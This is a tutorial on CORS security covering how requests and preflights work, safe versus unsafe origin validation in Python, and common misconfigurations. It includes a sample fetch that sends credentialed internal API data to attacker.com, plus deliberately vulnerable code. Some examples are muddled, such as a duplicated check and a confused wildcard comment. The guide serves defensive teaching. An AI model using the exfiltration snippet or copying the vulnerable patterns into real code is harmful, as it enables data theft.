CORS Security
Introduction
Cross-Origin Resource Sharing (CORS) is a browser mechanism that controls which origins can access resources on a different origin. While CORS enables legitimate cross-origin requests, misconfigurations are among the most common security vulnerabilities discovered in modern web applications.
How CORS Works
CORS works through HTTP headers that the server sends to tell the browser which origins are permitted. The browser enforces these restrictions on the client side.
Simple Requests
A simple request uses standard methods (GET, HEAD, POST) and headers. The browser adds an `Origin` header, and the server responds with `Access-Control-Allow-Origin`.
Request:
GET /api/data HTTP/1.1
Origin: https://trusted-app.com
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com
Preflight Requests
For non-simple requests (custom headers, PUT, DELETE, content types other than form data), the browser sends an OPTIONS preflight request first.
Preflight:
OPTIONS /api/data HTTP/1.1
Origin: https://trusted-app.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Custom-Header
Response:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Max-Age: 3600
Proper Origin Validation
Never reflect the `Origin` header back unconditionally. This is the most common dangerous CORS misconfiguration.
# UNSAFE: Reflective origin (vulnerable to attack)
def cors_unsafe(request):
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # NEVER do this
response.headers['Access-Control-Allow-Credentials'] = 'true'
# SAFE: Whitelist-based origin validation
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://admin.example.com',
'https://trusted-partner.com',
}
def cors_safe(request):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Vary'] = 'Origin'
if origin and is_origin_allowed(origin):
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Vary'] = 'Origin'
def is_origin_allowed(origin):
from urllib.parse import urlparse
parsed = urlparse(origin)
# Must be HTTPS
if parsed.scheme != 'https':
return False
# Exact match only, no wildcards for credentialed requests
return parsed.geturl() in ALLOWED_ORIGINS
Common Misconfigurations
1\. Wildcard with Credentials
# VULNERABLE: Wildcard origin with credentials
response.headers['Access-Control-Allow-Origin'] = '*'
response.headers['Access-Control-Allow-Credentials'] = 'true'
# Browsers will reject this combination, but attackers can still exploit
# applications that don't rely on browser enforcement (e.g., server-side CORS)
2\. Overly Permissive Origin Match
# VULNERABLE: Subdomain matching that is too permissive
def unsafe_origin_check(origin):
# Accepts evil.example.com as matching example.com
return origin.endswith('.example.com') or origin == 'example.com'
# Also vulnerable: origin contains 'example.com' would match evil-example.com
3\. Null Origin
# VULNERABLE: Allow null origin
if origin == 'null':
response.headers['Access-Control-Allow-Origin'] = 'null'
# null origin is used by file://, sandboxed iframes, and some
# automated scanners. Attackers can exploit this.
Exploit Scenarios
Internal Network API Attack
An attacker hosts a malicious site that performs cross-origin requests to internal APIs. If the internal API reflects origins, the attacker can exfiltrate sensitive data.
fetch('https://internal-api.corp.example.com/employees', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://attacker.com/exfil?data=' + btoa(data));
});
CORS Configuration Best Practices
from flask import Flask, request, jsonify
from functools import wraps
app = Flask(__name__)
def cors_allowed(origin):
ALLOWED = [
'https://app.example.com',
'https://dashboard.example.com',
]
return origin in ALLOWED
def cors_middleware(f):
@wraps(f)
def decorated(*args, **kwargs):
origin = request.headers.get('Origin')
if request.method == 'OPTIONS':
response = app.make_default_options_response()
else:
response = f(*args, **kwargs)
if origin and cors_allowed(origin):
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Vary'] = 'Origin'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
response.headers['Access-Control-Max-Age'] = '3600'
if request.cookies:
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
return decorated
Conclusion
CORS misconfigurations remain a top web vulnerability. Never reflect origins dynamically, never use wildcard with credentials, validate origins against an allowlist, and always set the `Vary: Origin` header when using dynamic CORS. Remember that CORS is a browser-enforced policy — protect sensitive endpoints with proper authentication regardless.